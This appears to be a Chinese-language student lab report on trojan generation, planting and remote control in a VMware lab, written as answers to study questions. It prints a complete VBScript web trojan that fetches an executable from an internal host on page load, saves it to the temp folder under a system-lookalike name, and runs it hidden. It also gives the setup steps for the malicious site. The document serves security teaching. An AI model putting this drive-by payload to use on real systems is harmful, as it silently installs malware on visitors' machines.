一、實驗環境

VMware Workstation

二、實驗內容

木馬生成與植入
利用木馬實現遠程控制
木馬的刪除

三、實驗過程

（一）木馬生成與植入

1．生成網頁木馬

主機A通過Internet信息服務(IIS)管理器啟動“木馬網站”的步驟如下：

開始->程序->管理工具->Internet信息服務（IIS）管理器
在“木馬網站”上右鍵->啟動

「問題1」：為什么啟動木馬網站？

「答」：為了保證我們可以發布修改過的木馬網頁，使得被攻擊方訪問默認網頁時，木馬網站處於工作狀態。

「問題2」：在服務器配置時，有多少同學將配置里的不同屬性頁進行了查看？除了“自動上線設置”屬性頁，還有哪些屬性頁？

「答」：配置服務器時的界面如圖1所示，可見配置里包含“自動上線設置、安裝選項、啟動項設置、代理服務、高級選項、插件功能”這6個屬性頁，其中啟動項設置如圖2所示，這里指定了顯示名稱和服務名稱為“Windows XP Vista”，所以在后續操作中，被掛馬的主機B在查看監控器工具時，會發現名為“Windows XP Vista”的服務名稱和顯示名稱。

「問題3」：為什么在“保存路徑”文本框中輸入“D:\Work\IIS\Server_Setup.exe”？換為另一個路徑可以嗎？

「答」：因為D:\Work\IIS\為“木馬網站”的網站空間目錄，不可以更改，這和我們第一步啟動木馬網站是息息相關的。

「問題4」：對網頁木馬源碼進行閱讀分析。

「答」：網頁木馬的源碼Trojan.htm如下：

<html>
<script language="VBScript">
	<!-- 首先動態創建對象組件，並聲明組件的clsid -->
	Set df = document.createElement("object")
	df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

	<!-- 創建XMLHTTP對象，用來完成從數據包到Request對象的轉換以及發送任務 -->
	Set xh = df.createObject("Microsoft.XMLHTTP","")

	<!-- 創建Adodb.Stream對象，提供存取二進制數據或文本流，實現對流的讀、寫等操作 -->
	Set ados = df.createObject("Adodb.Stream","")
	ados.type = 1

	<!-- 使用HTTP GET初始化HTTP請求 -->
 	url = "http://172.16.0.98:9090/Server_Setup.exe"
	xh.Open "GET", url, False
	<!-- 發送HTTP請求，並獲取HTTP響應 -->
	xh.Send

	<!-- 創建Scripting.FileSystem對象，提供對計算機文件系統進行訪問 -->
	Set fs = df.createObject("Scripting.FileSystemObject","")
	<!-- 獲取目標路徑，0為windows目錄；1為system目錄；2為用戶臨時目錄 -->
	Set tmpdir = fs.GetSpecialFolder(2)
	<!-- 向目標路徑后添加文件名稱winlogin.exe，此名稱與系統文件名相似，不易被察覺 -->
	fname1="winlogin.exe"
	fname1= fs.BuildPath(tmpdir,fname1)

	<!-- 打開Adodb.Stream對象，將服務器返回的響應數據寫入對象，將對象內容保存至目標文件-->
	ados.Open
	ados.Write xh.responseBody
	ados.SaveToFile fname1,2
	<!-- 文件系統操作完成，關閉對象 -->
	ados.Close

	<!-- 創建Shell對象，調用執行目標文件 -->
	Set sl = df.createObject("Shell.Application","")
	<!-- 以隱藏方式運行木馬 -->
	sl.ShellExecute fname1,"","","open",0
</script>
</html>

其中 Set tmpdir = fs.GetSpecialFolder(2)指定了目標目錄為用戶臨時目錄，fname1="winlogin.exe" fname1= fs.BuildPath(tmpdir,fname1)這兩句指明會在用戶的臨時目錄后添加winlogin.exe文件。

「問題4」：為什么要將Trojan.htm文件保存到“D:\Work\IIS\”目錄下？

「答」：因為D:\Work\IIS\為“木馬網站”的網站空間目錄，這有保存在這個目錄下，才能使得被攻擊端運行木馬網站時能夠執行
Trojan.htm文件中的指令。